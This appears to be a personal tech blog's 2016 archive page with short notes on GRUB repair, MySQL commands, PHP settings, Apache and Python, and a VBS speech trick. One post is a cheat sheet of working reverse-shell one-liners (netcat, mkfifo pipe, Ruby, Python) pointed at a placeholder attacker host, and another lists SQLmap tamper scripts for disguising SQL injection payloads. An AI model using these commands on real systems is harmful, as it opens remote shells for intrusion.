Skip to main content

Posts

Showing posts from 2016

Latest Post

Fix Arch [Manjaro] GRUB Bootloader

 Boot to any [Manjaro] live GUI disk. Use manjaro-chroot 1. Start by identifying the partition where your Manjaro installation controlling the active Grub menu resides and needs repairing. If you are in Graphical mode you can use an application called GPartEd , which should be in Menu > System > GPartEd. This will provide a simple visual illustration of the partitions on your hard drive(s). To do the same thing from terminal or TTY you can use this command lsblk -f 2. manjaro-chroot is a tool to easily setup a functional chroot into an installed Linux installation from a live boot of a Manjaro Installation Media. To setup the chroot use the command sudo manjaro-chroot -a You will be presented with a terminal. Wait until it shows a list with the available system partitions on your computer and choose the one you want to repair.    1.) First of all check the partition for the ESP (EFI System Partition). An ESP is a fat32 partition and contains .efi ...

Reverse Connection!

Connect: ncat -lvp 444 nc -lvp 4444 Reverse Connection: Netcat: nc -e /bin/sh 10.0.0.1 1234 older versions:  rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f more: /bin/sh | nc attackerip 4444 Ruby ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Python This was tested under Linux / Python 2.7: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' with tty: python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'  PERL perl -e...

Find writable dirs terminal

to find writable files regardless of owner, group or others, you can check the w flag in the file permission column of ls. ls - l | awk '$1 ~ /^.*w.*/' $1 is the first field, (ie the permission block of ls -l) , the regular expression just say find the letter "w" in field one. that's all. if you want to find owner write permission ls - l | awk '$1 ~ /^..w/' if you want to find group write permission ls - l | awk '$1 ~ /^.....w/' if you want to find others write permission ls - l | awk '$1 ~ /w.$/'   with subdirs: ls -ld `find . -type d` | awk '$1 ~ /w.$/'   ls -ld $(find .) | awk '$1 ~ /w.$/'

The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead: Solution

 The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead: Solution it's possible to suppress deprecation errors by setting error_reporting in php.ini to exclude E_DEPRECATED : error_reporting = E_ALL ^ E_DEPRECATED or add error_reporting ( E_ALL ^ E_DEPRECATED ); to the php

SQLmap Tamper Scripts Explained

Name Description Example apostrophemask.py Replaces the apostrophe character with its UTF-8 full width counterpart '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' apostrophenullencode.py Replaces the apostrophe character with its illegal double Unicode counterpart '1 AND %271%27=%271' appendnullbyte.py Appends encoded NULL byte character at the end of payload '1 AND 1=1'; base64encode.py Base64 all characters in a given payload 'MScgQU5EIFNMRUVQKDEwKSM=' between.py Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' '1 AND A NOT BETWEEN 0 AND B--' bluecoat.py Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator 'SELECT%09id FROM users where id LIKE 1' chardoubleencode.py Double url-encodes all characters in a given payload (not processing already enc...

MySql;

Update root password; UPDATE user SET Password=PASSWORD('') WHERE User='root'; FLUSH PRIVILEGES Create new user; CREATE USER 'test'@'localhost' IDENTIFIED BY 'password'; Grand all permission to new user; GRANT ALL PRIVILEGES ON * . * TO 'test'@'localhost'; Create new database; CREATE DATABASE dbname; Import database; mysql -u mysqluser -p < file.sql Import tables to database; mysql -u mysqluser -p databasename < file.sql   Export Database to sql file; mysqldump -h host_name -P port_number -u user_name -p database_name > name_of_backup.sql Export Table to sql file; mysqldump -p --user=username dbname tableName > tableName.sql Drop all tables from a database; mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "drop table " $1 ";"}' | mysql -u uname dbname error solution "error Packets larger than...

Import CSV to mysql server!

First Create the table in mysql then. from mysql command line. LOAD DATA LOCAL INFILE 'abc.csv' INTO TABLE abc FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\r\n' IGNORE 1 LINES ( col1 , col2 , col3 , col4 , col5 ...);   or    LOAD DATA LOCAL INFILE 'abc.csv' INTO TABLE abc FIELDS TERMINATED BY ',' IGNORE 1 LINES );

Computer Read English Words With Notepad

Hi, Friends, You have any problem to read English words fluently. But your computer speak English very easily. This is a notepad trick ,So you no need to download other software’s. Our computer is a perfect engine. Computer can do anything, but it works with some commands. This command turns computer to a Robot. This trick is a command to read English words. This is not a virus. Trust me. If you want to learn more. Follow this post.. Note Pad Help To Speek English Computer Tricks (www.masterhacksindia.blogspot.com) First Open Notepad. Copy and Paste below code into Notepad. Dim speaks, speech speaks=" YOUR – ENGLISH – PARAGRAPH - HERE " Set speech=CreateObject("sapi.spvoice") speech.Speak speaks Change RED color with your English paragraph. Save it with .vbs extension (Example: Yourname.vbs). Close Notepad and Run saved file.

Execute python Scripts in apache

Install libapache2 module with apt sudo apt-get install libapache2-mod-python then in configuration file of apache add these lines. <Directory /var/www/>     AddHandler mod_python .py     PythonHandler mod_python.publisher </Directory> If it works Great!. if not rename PythonHandler mod_python.publisher to PythonHandler mod_python.cgihandler Then you can run Python as CGI.